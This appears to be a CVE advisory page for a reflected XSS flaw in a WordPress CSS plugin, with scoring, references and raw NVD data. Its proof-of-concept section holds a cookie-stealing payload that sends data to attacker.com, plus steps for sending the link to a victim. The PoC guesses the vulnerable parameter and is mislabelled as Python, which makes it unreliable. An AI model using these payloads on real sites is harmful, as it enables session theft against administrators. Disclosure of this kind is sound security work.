CVE-2025-68878

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in prasadkirpekar Advanced Custom CSS advanced-custom-css allows Reflected XSS.This issue affects Advanced Custom CSS: from n/a through <= 1.1.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Advanced Custom CSS plugin (prasadkirpekar) <= 1.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68878 PoC: Reflected XSS in WordPress Advanced Custom CSS Plugin -->
<!-- Target: WordPress site with advanced-custom-css plugin <= 1.1.0 -->
<!-- Attack Vector: Inject JavaScript via URL parameter -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-68878 PoC</title>
</head>
<body>
    <h2>CVE-2025-68878 - Reflected XSS PoC</h2>
    
    <!-- Malicious URL that exploits the reflected XSS vulnerability -->
    <p>Malicious URL:</p>
    <code id="maliciousUrl"></code>
    
    <script>
        // Construct the malicious URL targeting the vulnerable endpoint
        // Replace 'TARGET_URL' with the actual WordPress site URL
        const targetUrl = 'TARGET_URL';
        const maliciousPayload = '<script>alert("XSS - CVE-2025-68878");document.location="https://attacker.com/steal?cookie="+document.cookie</script>';
        
        // The vulnerable parameter may vary depending on plugin implementation
        // Common vulnerable parameters in CSS plugins include: 'tab', 'section', 'custom_css'
        const vulnerableEndpoint = targetUrl + '/wp-admin/admin.php?page=advanced-custom-css&tab=' + encodeURIComponent(maliciousPayload);
        
        document.getElementById('maliciousUrl').textContent = vulnerableEndpoint;
        
        // Alternative payload for cookie stealing
        const altPayload = '" onmouseover="alert(document.cookie)" x="';
        console.log('Alternative payload:', altPayload);
        
        // Display instructions
        console.log('=== CVE-2025-68878 PoC ===');
        console.log('1. Replace TARGET_URL with the vulnerable WordPress site');
        console.log('2. Send the malicious URL to the victim');
        console.log('3. When victim clicks, XSS payload will execute');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68878
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68878
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68878/
[4] VulDB https://vuldb.com/cve/CVE-2025-68878
[5] https://patchstack.com/database/Wordpress/Plugin/advanced-custom-css/vulnerability/wordpress-advanced-custom-css-plugin-1-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68878", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:43.017", "lastModified": "2026-04-23T15:36:11.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in prasadkirpekar Advanced Custom CSS advanced-custom-css allows Reflected XSS.This issue affects Advanced Custom CSS: from n/a through <= 1.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-custom-css/vulnerability/wordpress-advanced-custom-css-plugin-1-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}